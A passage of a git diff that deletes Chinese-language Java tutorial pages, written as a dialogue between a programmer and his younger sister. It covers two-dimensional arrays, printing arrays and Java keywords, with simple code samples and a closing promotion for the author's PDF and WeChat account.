-“二哥,今天我们简单过一下二维数组吧,挺简单的。”三妹放下手机对我说。
-
-“好啊,本来不打算讲了,因为开发中用的其实不多,也很简单,就从一维到二维,也没啥可讲的,就简单聊聊吧。”我掐灭了手中的华子,长呼一口烟,飘过三妹的头顶,引起一阵轻微的咳嗽声(😂)
-
-### 01、什么是二维数组
-
-二维数组是一种数据类型,可以存储多行和多列的数据。它由一系列的行和列组成,每个元素都可以通过一个行索引和列索引来访问。例如,一个3行4列的二维数组可以表示为以下形式:
-
-```java
-array = [
- [a, b, c, d],
- [e, f, g, h],
- [i, j, k, l]
-]
-```
-
-在这个例子中,第一行有4个元素,第二行有4个元素,第三行有4个元素,每个元素都有一个行索引和一个列索引。例如,元素 array[1][2] 是第2行第3列的元素,它的值是 g。
-
-使用二维数组可以有效地存储和处理表格数据,如矩阵、图像、地图等等。
-
-### 02、创建二维数组
-
-要在 Java 中创建二维数组,你必须指定要存储在数组中的数据类型,后跟两个方括号和数组的名称。
-
-语法如下所示:
-
-```txt
-data_type[][] array_name;
-```
-
-让我们看一个代码示例。
-
-```java
-int[][] oddNumbers = { {1, 3, 5, 7}, {9, 11, 13, 15} };
-```
-
-
-### 03、访问二维数组中的元素
-
-我们可以使用两个方括号来访问二维中的元素。
-
-第一个表示我们要从中访问元素的数组,而第二个表示我们要访问的元素索引。
-
-让我们用一个例子来简化上面的解释:
-
-```java
-int[][] oddNumbers = { {1, 3, 5, 7}, {9, 11, 13, 15} };
-
-System.out.println(oddNumbers[0][0]);
-// 1
-```
-
-在上面的示例中,`oddNumbers` 数组中有两个数组——`{1, 3, 5, 7}` 和 `{9, 11, 13, 15}`。
-
-第一个数组——`{1, 3, 5, 7}`——用 0 表示。
-
-第二个数组——`{9, 11, 13, 15}`——用 1 表示。
-
-第一个数组是 0,第二个是 1,第三个是 2,依此类推。
-
-因此,要访问第一个数组中的项目,我们将 0 分配给第一个方括号。由于我们试图访问数组中的第一项,我们将使用它的索引,即 0:`oddNumbers[0][0]`。
-
-让我们进一步分解它。
-
-这是访问元素的代码:`oddNumbers[?][?]`。
-
-我在两个方括号中都加上了问号——随着进展填写它们。
-
-假设我们要访问第二个数组中的元素,我们的代码将如下所示:`oddNumbers[1][?]`。
-
-现在我们要在第二个数组(`{9, 11, 13, 15}`)中尝试访问其中一个元素。就像一维数组一样,每个元素都有一个从零开始的索引。
-
-因此,要访问第三个元素 `13`,我们将其索引号传递给第二个方括号:`oddNumbers[1][2]`。
-
-来看这样一个例子:
-
-```java
-int[][] oddNumbers = { {1, 3, 5, 7}, {9, 11, 13, 15}, {17, 19, 21, 23} };
-```
-
-我们的目标是访问第三个数组中的 21。访问方式仍然通过问号来表示:`oddNumbers[?][?]`。
-
-我们首先给第一个问号一个指向要访问的特定数组的值。
-
-数组 0 => `{1, 3, 5, 7}`
-
-数组 1 => `{9, 11, 13, 15}`
-
-数组 2 => `{17, 19, 21, 23}`
-
-我们要查找的数字在第三个数组中,所以是:`oddNumbers[2][?]`。
-
-第二个方括号的值将指向要访问的元素。为此,我们必须指定元素的索引。以下是该数组中的索引:
-
-17 => 索引 0
-
-19 => 索引 1
-
-21 => 索引 2
-
-23 => 索引 3
-
-21 的索引为 2,因此我们可以将其添加到第二个方括号:`oddNumbers[2][2]`。当你将其打印到控制台时,将会打印出 21。
-
-代码如下所示:
-
-```java
-int[][] oddNumbers = { {1, 3, 5, 7}, {9, 11, 13, 15}, {17, 19, 21, 23} };
-
-System.out.println(oddNumbers[2][2]);
-// 21
-```
-
-你可以使用嵌套循环,遍历二维数组中的所有项目。这是一个例子:
-
-```java
-int[][] oddNumbers = { {1, 3, 5, 7}, {9, 11, 13, 15}, {17, 19, 21, 23} };
-
-for(int i = 0; i < oddNumbers.length; i++){
- for(int j = 0; j < oddNumbers[i].length; j++){
- System.out.println(oddNumbers[i][j]);
- }
-}
-
-// 1
-// 3
-// 5
-// 7
-// 9
-// 11
-// 13
-// 15
-// 17
-// 19
-// 21
-// 23
-```
-
-上面的代码将会打印出 `oddNumbers` 数组中的所有项目。
-
-### 04、二维数组打印杨辉三角
-
-“三妹,上次学一维数组的时候留了一道题,要你尝试用二维数组打印杨辉三角,你试过了吗?”
-
-“搞过了,你看我的代码。”
-
-```java
-import java.util.Scanner;
-
-public class YangHuiTriangle {
- public static void main(String[] args) {
- Scanner input = new Scanner(System.in);
- System.out.print("请输入要打印的行数:");
- int n = input.nextInt();
- printYangHuiTriangle(n);
- }
-
- public static void printYangHuiTriangle(int n) {
- int[][] triangle = new int[n][n];
-
- for (int i = 0; i < n; i++) {
- // 每行的第一个和最后一个数字都是1
- triangle[i][0] = 1;
- triangle[i][i] = 1;
-
- for (int j = 1; j < i; j++) {
- // 其他数字是上一行的两个数字之和
- triangle[i][j] = triangle[i - 1][j - 1] + triangle[i - 1][j];
- }
- }
-
- // 打印杨辉三角
- for (int i = 0; i < n; i++) {
- for (int j = 0; j <= i; j++) {
- System.out.print(triangle[i][j] + " ");
- }
- System.out.println();
- }
- }
-}
-```
-
-“这段代码使用了一个二维数组来存储杨辉三角中的数字。首先,程序要求用户输入要打印的行数,然后调用 printYangHuiTriangle 方法来生成和打印杨辉三角。在 printYangHuiTriangle 方法中,程序使用了一个嵌套的 for 循环来计算杨辉三角中的每个数字,并将结果存储在二维数组 triangle 中。最后,程序再次使用循环来遍历数组并打印出杨辉三角中的数字。”三妹认真地解释道。
-
-“哎呀,不错呀,代码写的挺标准,都知道用 Scanner 类和控制台交互了呀!”见三妹有这样的表现,我忍不住心里乐开了花,这些天的学习也终于有了成果啊,真不错!
-
-```
-请输入要打印的行数:6
-1
-1 1
-1 2 1
-1 3 3 1
-1 4 6 4 1
-1 5 10 10 5 1
-```
-
-----
-
-GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/)
-
-
-微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。
-
-
diff --git a/docs/src/array/print.md b/docs/src/array/print.md
deleted file mode 100644
index dfc9a526ce..0000000000
--- a/docs/src/array/print.md
+++ /dev/null
@@ -1,184 +0,0 @@
----
-title: 如何优雅地打印Java数组?
-shortTitle: 打印数组
-category:
- - Java核心
-tag:
- - 数组&字符串
-description: 本文将向您展示如何在Java中优雅地打印数组内容。我们将介绍不同的方法来输出数组,包括使用for循环、增强型for循环以及Java内置的Arrays.toString()和Arrays.deepToString()方法。通过本文,您将学会如何简便快捷地打印Java数组,提高编程效率和代码可读性。
-head:
- - - meta
- - name: keywords
- content: Java, 数组打印, 输出数组, Arrays.toString, Arrays.deepToString
----
-
-“哥,[之前听你说,数组也是一个对象](https://javabetter.cn/array/array.html),但 Java 中并未明确的定义这样一个类。”看来三妹有在用心地学习。
-
-“是的,因此数组也就没有机会覆盖 `Object.toString()` 方法。如果尝试直接打印数组的话,输出的结果并不是我们预期的结果。”我接着三妹的话继续说。
-
-“那怎么打印数组呢?”三妹心有灵犀地把今天的核心问题提了出来。
-
-### 为什么不能直接打印数组
-
-“首先,我们来看一下,为什么不能直接打印数组,直接打印的话,会出现什么问题。”
-
-来看这样一个例子。
-
-```
-String [] cmowers = {"沉默","王二","一枚有趣的程序员"};
-System.out.println(cmowers);
-```
-
-程序打印的结果是:
-
-```
-[Ljava.lang.String;@3d075dc0
-```
-
-`[Ljava.lang.String;` 表示字符串数组的 Class 名,@ 后面的是十六进制的 hashCode——这样的打印结果太“人性化”了,一般人表示看不懂!为什么会这样显示呢?查看一下 `java.lang.Object` 类的 `toString()` 方法就明白了。
-
-```java
-public String toString() {
- return getClass().getName() + "@" + Integer.toHexString(hashCode());
-}
-```
-
-再次证明,数组虽然没有显式定义成一个类,但它的确是一个对象,继承了祖先类 Object 的所有方法。
-
-“哥,那为什么数组不单独定义一个类来表示呢?就像字符串 String 类那样呢?”三妹这个问题让人头大,但也好解释。
-
-“一个合理的说法是 Java 将其隐藏了。假如真的存在这么一个类,就叫 Array.java 吧,我们假想一下它真实的样子,必须得有一个容器来存放数组的每一个元素,就像 String 类那样。”一边回答三妹,我一边打开了 String 类的源码。
-
-```java
-public final class String
- implements java.io.Serializable, Comparable, CharSequence {
- /** The value is used for character storage. */
- private final char value[];
-}
-```
-
-“最终还是要用类似一种数组的形式来存放数组的元素,对吧?这就变得很没有必要了,不妨就把数组当做是一个没有形体的对象吧!”
-
-“好了,不讨论这个了。”我怕话题扯远了,扯到我自己也答不出来就尴尬了,赶紧把三妹的思路拽了回来。
-
-### stream 流打印 Java 数组
-
-“我们来看第一种打印数组的方法,使用时髦一点的[Stream 流](https://javabetter.cn/java8/stream.html)。”
-
-第一种形式:
-
-```java
-Arrays.asList(cmowers).stream().forEach(s -> System.out.println(s));
-```
-
-第二种形式:
-
-```java
-Stream.of(cmowers).forEach(System.out::println);
-```
-
-第三种形式:
-
-```java
-Arrays.stream(cmowers).forEach(System.out::println);
-```
-
-打印的结果如下所示。
-
-```
-沉默
-王二
-一枚有趣的程序员
-```
-
-没错,这三种方式都可以轻松胜任本职工作,并且显得有点高大上,毕竟用到了 Stream,以及 [lambda 表达式](https://javabetter.cn/java8/Lambda.html)。
-
-### for 循环打印 Java 数组
-
-“当然了,也可以使用传统的方式,for 循环。甚至 for-each 也行。”
-
-```java
-for(int i = 0; i < cmowers.length; i++){
- System.out.println(cmowers[i]);
-}
-
-for (String s : cmowers) {
- System.out.println(s);
-}
-```
-
-### Arrays 工具类打印 Java 数组
-
-“哥,你难道忘了[上一篇](https://javabetter.cn/common-tool/arrays.html)在讲 Arrays 工具类的时候,提到过另外一种方法 `Arrays.toString()` 吗?”三妹看我一直说不到点子上,有点着急了。
-
-“当然没有了,我认为 `Arrays.toString()` 是打印数组的最佳方式,没有之一。”我的情绪有点激动。
-
-`Arrays.toString()` 可以将任意类型的数组转成字符串,包括基本类型数组和引用类型数组。该方法有多种重载形式。
-
-
-
-使用 `Arrays.toString()` 方法来打印数组再优雅不过了,就像,就像,就像蒙娜丽莎的微笑。
-
-
-
-(三妹看到这么一副图的时候忍不住地笑了)
-
-“三妹,你不要笑,来,怀揣着愉快的心情看一下代码示例。”
-
-```java
-String [] cmowers = {"沉默","王二","一枚有趣的程序员"};
-System.out.println(Arrays.toString(cmowers));
-```
-
-程序打印结果:
-
-```
-[沉默, 王二, 一枚有趣的程序员]
-```
-
-哇,打印格式不要太完美,不多不少!完全是我们预期的结果:`[]` 表明是一个数组,`,` 点和空格用来分割元素。
-
-### Arrays工具类打印二维数组
-
-“哥,那如果我想打印二维数组呢?”
-
-“可以使用 `Arrays.deepToString()` 方法。”
-
-```java
-String[][] deepArray = new String[][] {{"沉默", "王二"}, {"一枚有趣的程序员"}};
-System.out.println(Arrays.deepToString(deepArray));
-```
-
-打印结果如下所示。
-
-```
-[[沉默, 王二], [一枚有趣的程序员]]
-```
-
-### POJO 的打印规约
-
-“说到打印,三妹,哥给你提醒一点。阿里巴巴的 Java 开发手册上有这样一条规约,你看。”
-
-
-
-“什么是 POJO 呢,就是 Plain Ordinary Java Object 的缩写,一般在 Web 应用程序中建立一个数据库的映射对象时,我们称它为 POJO,这类对象不继承或不实现任何其它 Java 框架的类或接口。”
-
-“对于这样的类,最好是重写一下它的 `toString()` 方法,方便查看这个对象到底包含了什么字段,好排查问题。”
-
-“如果不重写的话,打印出来的 Java 对象就像直接打印数组的那样,一串谁也看不懂的字符序列。”
-
-“可以借助 Intellij IDEA 生成重写的 `toString()` 方法,特别方便。”
-
-“好的,哥,我记住了。以后遇到的话,我注意下。你去休息吧,我来敲一下你提到的这些代码,练一练。”
-
-“OK,我走,我走。”
-
-
-----
-
-GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/)
-
-
-微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。
-
-
diff --git a/docs/src/basic-extra-meal/48-keywords.md b/docs/src/basic-extra-meal/48-keywords.md
deleted file mode 100644
index 78116f18ae..0000000000
--- a/docs/src/basic-extra-meal/48-keywords.md
+++ /dev/null
@@ -1,982 +0,0 @@
----
-title: 5000字速通Java的48个关键字及2个保留字
-shortTitle: Java关键字和保留字
-category:
- - Java核心
-tag:
- - Java语法基础
-description: 本文详细介绍了Java编程语言中的48个关键字及2个保留字,包括它们的用途、特点和使用场景。通过了解这些关键字和保留字,您将更好地掌握Java编程的核心概念,提升编程技能。
-head:
- - - meta
- - name: keywords
- content: Java, 关键字, 保留字, 编程基础
----
-
-“二哥,就[之前你给我展示的 Java 代码](https://javabetter.cn/overview/hello-world.html)中,有 public、static、void、main 等等,它们应该都是关键字吧?”三妹的脸上泛着甜甜的笑容,我想她在学习 Java 方面已经变得越来越自信了。
-
-“是的,三妹。Java 中的关键字可不少呢!你一下子可能记不了那么多,不过,先保留个印象吧,对以后的学习会很有帮助。这些小代码都很简单,你可以照着瞧一瞧,感受一下。”
-
->PS:这里我们按照首字母的自然顺序排列来简述一下,了解即可,记不住没关系哦。这些关键字我们在后续的学习中会详细讲解的,直到你搞懂为止。
-
-## 1、abstract:
-
-用于声明[抽象类](https://javabetter.cn/oo/abstract.html),以及抽象方法。
-
-```java
-abstract class Animal {
- abstract void makeSound();
-
- public void sleep() {
- System.out.println("The animal is sleeping.");
- }
-}
-
-class Dog extends Animal {
- void makeSound() {
- System.out.println("The dog barks.");
- }
-}
-```
-
-在这个示例中,我们创建了一个名为 Animal 的抽象类,其中包含一个抽象方法 `makeSound()` 和一个具体方法 `sleep()`。
-
-## 2、boolean:
-
-Java 中的一种基本数据类型,表示布尔值,即真(true)或假(false)。boolean 数据类型常用于判断条件、循环控制和逻辑运算等场景。
-
-```java
-boolean isStudent = true;
-
-if (isStudent) {
- System.out.println("This person is a student.");
-} else {
- System.out.println("This person is not a student.");
-}
-```
-
-在这个示例中,我们定义了一个 boolean 变量:isStudent。通过 if 语句,我们可以根据这些变量的值进行不同的操作。
-
-## 3、break:
-
-用于跳出循环结构(如 for、while 和 do-while 循环)或 switch 语句。当遇到 break 语句时,程序将立即跳出当前循环或 switch 语句,继续执行紧跟在循环或 switch 语句后面的代码。
-
-```java
-for (int i = 0; i < 10; i++) {
- if (i == 5) {
- break;
- }
- System.out.println("i: " + i);
-}
-System.out.println("Loop ended.");
-```
-
-在这个示例中,我们使用 for 循环遍历 0 到 9 的整数。当 i 等于 5 时,我们使用 break 语句跳出循环。
-
-## 4、byte:
-
-用于表示一个 8 位(1 字节)有符号整数。它的值范围是 -128(-2^7)到 127(2^7 - 1)。
-
-由于 byte 类型占用的空间较小,它通常用于处理大量的数据,如文件读写、网络传输等场景,以节省内存空间。
-
-```java
-byte minByte = -128;
-byte maxByte = 127;
-```
-
-在这个示例中,我们声明了三个 byte 类型的变量:minByte、maxByte,并分别赋予了不同的值。
-
-## 5、case:
-
-通常与 switch 语句一起使用。switch 语句允许根据某个变量的值来选择执行不同的代码块。在 switch 语句中,case 用于标识每个可能的值和对应的代码块。
-
-例子我们直接放到 switch 中一起讲。
-
-## 6、catch:
-
-用于捕获 try 语句中的[异常](https://javabetter.cn/exception/gailan.html)。在 try 块中可能会抛出异常,而在 catch 块中可以捕获这些异常并进行处理。catch 块可以有多个,每个 catch 块可以捕获特定类型的异常。在 catch 块中,可以根据需要进行异常处理,例如输出错误信息、进行日志记录、恢复程序状态等。
-
-```java
-try {
- int num = Integer.parseInt("abc");
-} catch (NumberFormatException e) {
- System.out.println("Invalid number format");
-}
-```
-
-这个程序使用 try-catch 语句捕获 NumberFormatException 异常。在 try 块中,尝试将字符串 "abc" 转换为整数类型,由于这个字符串不是有效的数字格式,将会抛出 NumberFormatException 异常。在 catch 块中,捕获到了这个异常,并输出一条错误信息。
-
-## 7、char:
-
-用于声明一个字符类型的变量。char 类型的变量可以存储任意的 [Unicode 字符](https://javabetter.cn/basic-extra-meal/java-unicode.html),可以使用单引号将字符括起来来表示。
-
-```java
-char c = 'A';
-```
-
-这个程序创建了一个 char 类型的变量 c,并将其赋值为大写字母 A。
-
-## 8、class:
-
-用于声明一个[类](https://javabetter.cn/oo/object-class.html)。
-
-```java
-public class Person {
- private String name;
- private int age;
-
- public Person(String name, int age) {
- this.name = name;
- this.age = age;
- }
-
- public void sayHello() {
- System.out.println("Hello, my name is " + name + " and I am " + age + " years old.");
- }
-}
-```
-
-## 9、continue:
-
-用于继续下一个循环,可以在指定条件下跳过其余代码。
-
-```java
-for (int i = 1; i <= 10; i++) {
- if (i % 2 == 0) {
- continue;
- }
- System.out.println(i);
-}
-```
-
-## 10、default:
-
-用于指定 switch 语句中除去 case 条件之外的默认代码块。这个我们放到 switch 里一起演示。
-
-## 11、do:
-
-通常和 while 关键字配合使用,do 后紧跟循环体。
-
-```java
-int i = 1;
-do {
- System.out.println(i);
- i++;
-} while (i <= 10);
-```
-
-do-while 循环与 while 循环类似,不同之处在于 do-while 循环会先执行循环体中的代码,然后再检查循环条件。因此,do-while 循环至少会执行一次循环体中的代码。
-
-## 12、double:
-
-用于声明一个双精度浮点类型的变量。
-
-```java
-double a = 3.14;
-double b = 2.0;
-double c = a + b;
-```
-
-## 13、else:
-
-用于指示 if 语句中的备用分支。
-
-```java
-int score = 75;
-if (score >= 60) {
- System.out.println("及格了");
-} else {
- System.out.println("挂科了");
-}
-```
-
-## 14、enum:
-
-用于定义一组固定的常量([枚举](https://javabetter.cn/basic-extra-meal/enum.html))。
-
-```java
-public enum PlayerType {
- TENNIS,
- FOOTBALL,
- BASKETBALL
-}
-```
-
-## 15、extends:
-
-用于指示一个类是从另一个类或接口[继承](https://javabetter.cn/oo/extends-bigsai.html)的。
-
-```java
-class Animal {
- public void eat() {
- System.out.println("动物正在吃东西");
- }
-}
-
-class Dog extends Animal {
- public void bark() {
- System.out.println("狗在汪汪叫");
- }
-}
-
-public class ExtendsDemo {
- public static void main(String[] args) {
- Dog dog = new Dog();
- dog.eat();
- dog.bark();
- }
-}
-```
-
-Animal 类中有一个 `eat()` 方法,输出字符串 "动物正在吃东西"。Dog 类继承自 Animal 类,并定义了一个 `bark()` 方法,输出字符串 "狗在汪汪叫"。
-
-## 16、final:
-
-[用于表示某个变量、方法或类是最终的,不能被修改或继承](https://javabetter.cn/oo/final.html)。
-
-①、final 变量:表示一个常量,一旦被赋值,其值就不能再被修改。这在声明不可变的值时非常有用。
-
-```java
-final double PI = 3.14159265359;
-```
-
-②、final 方法表示一个不能被子类重写的方法。这在设计类时,确保某个方法的实现不会被子类修改时非常有用。
-
-```java
-class Animal {
- final void makeSound() {
- System.out.println("动物发出声音.");
- }
-}
-
-class Dog extends Animal {
- // 错误: 无法覆盖来自 Animal 的 final 方法
- // void makeSound() {
- // System.out.println("狗吠叫.");
- // }
-}
-
-public class Main {
- public static void main(String[] args) {
- Dog dog = new Dog();
- dog.makeSound();
- }
-}
-```
-
-③、final 类表示一个不能被继承的类。这在设计类时,确保其不会被其他类继承时非常有用。[String 类就是 final 的](https://javabetter.cn/oo/final.html)。
-
-```java
-final class Animal {
- void makeSound() {
- System.out.println("动物发出声音.");
- }
-}
-
-// 错误: 类型 Dog 无法继承 final 类 Animal
-// class Dog extends Animal {
-// void makeSound() {
-// System.out.println("狗吠叫.");
-// }
-// }
-
-public class Main {
- public static void main(String[] args) {
- Animal animal = new Animal();
- animal.makeSound();
- }
-}
-```
-
-## 17、finally:
-
-和 `try-catch` 配合使用,表示无论是否处理异常,总是执行 finally 块中的代码。
-
-```java
-try {
- int x = 10 / 0; // 抛出异常
-} catch (Exception e) {
- System.out.println("发生了异常:" + e.getMessage());
-} finally {
- System.out.println("finally 块被执行");
-}
-```
-
-## 18、float:
-
-表示单精度浮点数。
-
-```java
-float f1 = 3.14f; // 注意要在数字后面加上 f 表示这是一个 float 类型
-float f2 = 1.23e-4f; // 科学计数法表示小数
-```
-
-在 Java 中,浮点数默认是 double 类型,如果要使用 float 类型的数据,需要在数字后面加上一个 f 或者 F,表示这是一个 float 类型的字面量。另外,也可以使用科学计数法表示浮点数,例如 1.23e-4 表示 0.000123。
-
-## 19、for:
-
-用于声明一个 for 循环,如果循环次数是固定的,建议使用 for 循环。
-
-```java
-int[] arr = {1, 2, 3, 4, 5};
-for (int i = 0; i < arr.length; i++) {
- System.out.println("arr[" + i + "] = " + arr[i]);
-}
-```
-
-## 20、if:
-
-用于指定条件,如果条件为真,则执行对应代码。
-
-```java
-int n = -3;
-if (n > 0) {
- System.out.println(n + " 是正数");
-} else if (n < 0) {
- System.out.println(n + " 是负数");
-} else {
- System.out.println(n + " 是零");
-}
-```
-
-## 21、implements:
-
-用于实现[接口](https://javabetter.cn/oo/interface.html)。
-
-下面是一个实现了 Runnable 接口的类的示例:
-
-```java
-public class MyThread implements Runnable {
- public void run() {
- // 线程执行的代码
- }
-}
-```
-
-## 22、import:
-
-用于导入对应的类或者接口。例如,如果要使用 Java 标准库中的 ArrayList 类,可以这样写:
-
-```java
-import java.util.ArrayList;
-```
-
-## 23、instanceof:
-
-[用于判断对象是否属于某个类型(class)](https://javabetter.cn/basic-extra-meal/instanceof.html)。
-
-```java
-例如,假设有一个 Person 类和一个 Student 类,Student 类继承自 Person 类,可以使用 instanceof 运算符来判断一个对象是否为 Person 类或其子类的实例:
-Person p = new Student();
-if (p instanceof Person) {
- System.out.println("p is an instance of Person");
-}
-if (p instanceof Student) {
- System.out.println("p is an instance of Student");
-}
-```
-
-## 24、int:
-
-用于表示整数值。
-
-```java
-int x; // 声明一个 int 类型的变量 x
-x = 10; // 将整数值 10 赋给变量 x
-int y = 20; // 声明并初始化一个 int 类型的变量 y,赋值为整数值 20
-```
-
-## 25、interface:
-
-用于声明接口。会定义一组方法的签名(即方法名、参数列表和返回值类型),但没有方法体。其他类可以实现接口,并提供方法的具体实现。
-
-```java
-public interface MyInterface {
- void method1();
- int method2(String param);
-}
-```
-
-## 26、long:
-
-用于表示长整数值。
-
-```java
-long x; // 声明一个 long 类型的变量 x
-x = 10000000000L; // 将长整数值 10000000000 赋给变量 x,需要在数字后面加上 L 或 l 表示这是一个 long 类型的值
-long y = 20000000000L; // 声明并初始化一个 long 类型的变量 y,赋值为长整数值 20000000000
-```
-
-## 27、native:
-
-[用于声明一个本地方法](https://javabetter.cn/oo/native-method.html),本地方法是指在 Java 代码中声明但在本地代码(通常是 C 或 C++ 代码)中实现的方法,它通常用于与操作系统或其他本地库进行交互。
-
-```java
-public native void nativeMethod();
-```
-
-## 28、new:
-
-用于创建一个新的对象。
-
-以下是使用 new 关键字创建对象实例的基本语法:
-
-```java
-ClassName obj = new ClassName();
-```
-
-以下是使用 new 关键字创建数组实例的基本语法:
-
-```java
-int[] arr = new int[10];
-```
-
-## 29、null:
-
-如果一个变量是空的(什么引用也没有指向),就可以将它赋值为 null,和[空指针](https://javabetter.cn/exception/npe.html)异常息息相关。
-
-```java
-String str = null; // 声明一个字符串引用,初始化为 null
-MyClass obj = null; // 声明一个 MyClass 类型的引用,初始化为 null
-```
-
-## 30、package:
-
-用于声明类所在的[包](https://javabetter.cn/oo/package.html)。
-
-```java
-package com.example.mypackage;
-```
-
-## 31、private:
-
-一个[访问权限修饰符](https://javabetter.cn/oo/access-control.html),表示方法或变量只对当前类可见。
-
-```java
-public class MyClass {
- private int x; // 私有属性 x,只能在当前类的内部访问
-
- private void foo() {
- // 私有方法 foo,只能在当前类的内部调用
- }
-}
-```
-
-在这个示例中,MyClass 类有一个私有属性 x 和一个私有方法 `foo()`。这些成员只能在 MyClass 类的内部访问和调用,对其他类不可见。
-
-## 32、protected:
-
-一个访问权限修饰符,表示方法或变量对同一包内的类和所有子类可见。
-
-```java
-package com.example.mypackage;
-
-public class MyBaseClass {
- protected int x; // 受保护的属性 x,可以被子类和同一包中的其他类访问
-
- protected void foo() {
- // 受保护的方法 foo,可以被子类和同一包中的其他类调用
- }
-}
-
-package com.example.mypackage;
-
-public class MySubClass extends MyBaseClass {
- public void bar() {
- x = 10; // 可以访问 MyBaseClass 中的受保护属性 x
- foo(); // 可以调用 MyBaseClass 中的受保护方法 foo
- }
-}
-```
-
-在这个示例中,MyBaseClass 类有一个受保护的属性 x 和一个受保护的方法 `foo()`。这些成员可以被子类和同一包中的其他类访问和调用。MySubClass 类继承自 MyBaseClass 类,并可以访问和修改 MyBaseClass 中的受保护成员。
-
-## 33、public:
-
-一个访问权限修饰符,除了可以声明方法和变量(所有类可见),还可以声明类。`main()` 方法必须声明为 public。
-
-```java
-public class MyClass {
- public int x; // 公有属性 x,可以被任何类访问
-
- public void foo() {
- // 公有方法 foo,可以被任何类调用
- }
-}
-```
-
-在这个示例中,MyClass 类有一个公有属性 x 和一个公有方法 `foo()`。这些成员可以被任何类访问和调用,无论这些类是否在同一个包中。
-
-## 35、return:
-
-用于从方法中返回一个值或终止方法的执行。return 语句可以将方法的计算结果返回给调用者,或者在方法执行到某个特定条件时提前结束方法。
-
-```java
-public int add(int a, int b) {
- int sum = a + b;
- return sum; // 返回 sum 的值,并结束方法的执行
-}
-```
-
-此外,return 语句还可以用于提前结束方法的执行。例如,假设我们要编写一个方法,用于判断一个整数是否为偶数:
-
-```java
-public static boolean isEven(int number) {
- if (number % 2 == 0) {
- return true;
- }
- return false;
-}
-```
-
-在这个示例中,我们定义了一个名为 isEven 的方法,该方法接收一个整数参数 number。如果 number 是偶数,我们使用 return 语句提前返回 true。否则,方法执行将继续,最后返回 false。
-
-## 36、short:
-
-用于表示短整数,占用 2 个字节(16 位)的内存空间。
-
-```java
-short x = 10; // 声明一个 short 类型的变量 x,赋值为 10
-short y = 20; // 声明一个 short 类型的变量 y,赋值为 20
-```
-
-## 37、static:
-
-表示该变量或方法是[静态变量或静态方法](https://javabetter.cn/oo/static.html)。
-
-```java
-public class MyClass {
- public static int x; // 静态变量 x,属于类的成员
-
- public static void foo() {
- // 静态方法 foo,属于类的成员
- }
-}
-```
-
-在这个示例中,MyClass 类有一个静态变量 x 和一个静态方法 `foo()`。这些成员属于类的成员,可以通过类名直接访问,不需要创建对象。
-
-## 38、strictfp:
-
-strict floating-point
-
-并不常见,通常用于修饰一个方法,用于限制浮点数计算的精度和舍入行为。当你在类、接口或方法上使用 strictfp 时,该范围内的所有浮点数计算将遵循 IEEE 754 标准的规定,以确保跨平台的浮点数计算的一致性。
-
-不同的硬件平台和 JVM 实现可能对浮点数计算的精度和舍入行为有差异,这可能导致在不同环境中运行相同的浮点数计算代码产生不同的结果。使用 strictfp 关键字可以确保在所有平台上获得相同的浮点数计算结果,避免计算结果的不一致问题。
-
-但请注意,使用 strictfp 可能会对性能产生影响,因为可能需要更多的计算和转换来确保遵循 IEEE 754 标准。因此,在使用 strictfp 时,需要权衡精度和一致性与性能之间的关系。
-
-```java
-public strictfp class MyClass {
- public static void main(String[] args) {
- double a = 0.1;
- double b = 0.2;
- double result = a + b;
- System.out.println("Result: " + result);
- }
-}
-```
-
-输出:
-
-```
-Result: 0.30000000000000004
-```
-
-在这个示例中,MyClass 类被声明为 strictfp,因此类中的所有浮点数计算都将遵循 IEEE 754 标准。
-
-在大多数现代操作系统上,使用 strictfp 可能不会产生显著差异,因为大家都遵循 IEEE 754 标准,除非是一些较旧的硬件平台。
-
-IEEE 754 标准(IEEE Standard for Floating-Point Arithmetic)是一个定义浮点数表示和运算的国际标准。由国际电气和电子工程师协会(IEEE)制定,首次发布于1985年。
-
-IEEE 754 标准主要规定了以下几个方面:
-
-浮点数表示:标准定义了两种浮点数格式,单精度(32位)和双精度(64位)。这两种格式分别由符号位、指数位和尾数位组成,用于表示浮点数的大小和精度。
-
-四舍五入和舍入模式:标准定义了多种舍入模式,例如向最接近的数舍入(Round to Nearest, Ties to Even)、向零舍入(Round toward Zero)、向正无穷舍入(Round toward +∞)和向负无穷舍入(Round toward -∞)等。这些模式指导了浮点数计算过程中如何处理精度损失和舍入误差。
-
-特殊值:标准定义了一些特殊的浮点数值,如正无穷(+∞)、负无穷(-∞)和非数值(NaN)。这些特殊值用于表示浮点数计算中可能出现的溢出、下溢和未定义结果等情况。
-
-浮点数运算:标准规定了浮点数的基本运算(加、减、乘、除)和比较运算(等于、不等于、大于、小于、大于等于、小于等于)的行为和结果。这些运算需要遵循标准中规定的表示、舍入和特殊值处理规则。
-
-来看示例
-
-```java
-public class Ieee754Demo {
-
- public static void main(String[] args) {
- float a = 0.1f;
- float b = 0.2f;
- float c = a + b;
-
- System.out.println("a = " + a);
- System.out.println("b = " + b);
- System.out.println("c = a + b = " + c);
-
- double x = 1.0 / 0.0;
- double y = -1.0 / 0.0;
- double z = 0.0 / 0.0;
-
- System.out.println("x = 1.0 / 0.0 = " + x);
- System.out.println("y = -1.0 / 0.0 = " + y);
- System.out.println("z = 0.0 / 0.0 = " + z);
- }
-}
-```
-
-输出结果:
-
-
-
-我们可以看到 IEEE 754 标准中的浮点数表示和运算:
-
-- 单精度浮点数的加法:变量 a 和 b 分别存储了 0.1 和 0.2,它们的和 c 等于 0.3。由于浮点数表示的精度限制,c 的实际值可能与理论值略有误差。
